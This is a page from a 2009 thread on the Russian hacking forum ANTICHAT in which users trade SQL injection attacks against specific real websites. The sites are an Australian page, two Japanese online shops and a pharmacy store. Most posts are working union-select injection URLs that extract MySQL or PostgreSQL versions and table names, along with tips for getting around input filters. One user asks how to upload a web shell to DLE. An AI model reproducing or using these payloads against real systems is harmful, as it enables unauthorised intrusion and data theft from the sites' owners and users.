ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4531  
Старый 08.01.2009, 15:39
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

http://www.oceanworld.com.au/page.asp?id=-8+union+select+1,unhex(hex(version())),3,4,5,6,7,8 ,9,10,11,12,13,14--

Одно и тоже на каждой странице темы=\
__________________
..
 
Ответить с цитированием

  #4532  
Старый 08.01.2009, 16:31
FunkFan
Новичок
Регистрация: 07.01.2009
Сообщений: 6
Провел на форуме:
8492

Репутация: 0
По умолчанию

А можно ли счесть за уязвимость то что когда регишься на сайте тот логин который ты ввёл будет отоброжаться в ссылке так www.site.ru/users/твойлогин ?

Последний раз редактировалось FunkFan; 09.01.2009 в 01:03..
 
Ответить с цитированием

  #4533  
Старый 08.01.2009, 19:23
Assembler
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
Провел на форуме:
812964

Репутация: 302
Отправить сообщение для Assembler с помощью ICQ
По умолчанию

FunkFan, наврятли.
 
Ответить с цитированием

  #4534  
Старый 08.01.2009, 22:30
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Цитата:
http://shop.m-matching.jp/chara/prd_detail.php?ID=10001060+or+1=1--
http://shop.m-matching.jp/chara/prd_detail.php?ID=10001060+order+by+1--
нету вывода? (

Цитата:
http://www.glassfactory.co.jp/shop/detail.php?id=-4+or+1=1--
и вот еще как составить правильный запрос к бд postgre?

Последний раз редактировалось sabe; 08.01.2009 в 22:33..
 
Ответить с цитированием

  #4535  
Старый 08.01.2009, 22:58
_evgeniy_
Новичок
Регистрация: 07.09.2008
Сообщений: 26
Провел на форуме:
430982

Репутация: 26
По умолчанию

Цитата:
Сообщение от sabe  
нету вывода? (


и вот еще как составить правильный запрос к бд postgre?
на первом кажет нету инекций

второй
Код:
http://www.glassfactory.co.jp/shop/detail.php?id=-5+union+select+TABLENAME+from+PG_TABLES+LIMIT+1+OFFSET+1--
есть такая тема
 
Ответить с цитированием

  #4536  
Старый 08.01.2009, 23:29
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

sabe

первый

http://shop.m-matching.jp/chara/prd_detail.php?ID=10001060999999999999+union+selec t+1,2,3,4,version(),null,null,null,null,111,1212,1 3,14,null,null--

второй так вывод лучше

http://www.glassfactory.co.jp/shop/detail.php?id=-5+union+select+1,null,TABLENAME,null,null,null,nul l,null,null,null,null,null,null,null,null,null,nul l+from+PG_TABLES--

Обе PostgreSQL
 
Ответить с цитированием

  #4537  
Старый 08.01.2009, 23:37
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

_evgeniy_
есть скуль..

второй спасибо)

jokester
как всегда ты на высоте))))
 
Ответить с цитированием

  #4538  
Старый 09.01.2009, 04:25
RekRut
Участник форума
Регистрация: 27.02.2006
Сообщений: 261
Провел на форуме:
515774

Репутация: 71
По умолчанию

помогите раскрутить ,
в запросе походу идет фильтр на все что только можно, почти

http://www.myreductil.com/buynow.php?pack_id=-1%20union%20select%201,22-2,333,4444,55,6,7,8,99,23,11,12,13,14,15,16,17%20f rom%20products/*

умножение сложение в некоторых колонках работает , а вот банальный вывод версии мускула никак не проходит , гляньте кто шарит плиз?
 
Ответить с цитированием

  #4539  
Старый 09.01.2009, 06:58
#Wolf#
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424

Репутация: 479
По умолчанию

есть какие нибудь предположения по заливке шелла в dle 7.2/7.3
извините если не по сабжу
 
Ответить с цитированием

  #4540  
Старый 09.01.2009, 14:22
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от RekRut  
помогите раскрутить ,
в запросе походу идет фильтр на все что только можно, почти

http://www.myreductil.com/buynow.php?pack_id=-1%20union%20select%201,22-2,333,4444,55,6,7,8,99,23,11,12,13,14,15,16,17%20f rom%20products/*

умножение сложение в некоторых колонках работает , а вот банальный вывод версии мускула никак не проходит , гляньте кто шарит плиз?
Скобки ему не нравятся
http://www.myreductil.com/buynow.php?pack_id=11+and+1=2+union+select+1,22,3, 4,5,6,7,8,9,0,11,@@version,13,14,15,16,17/*
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ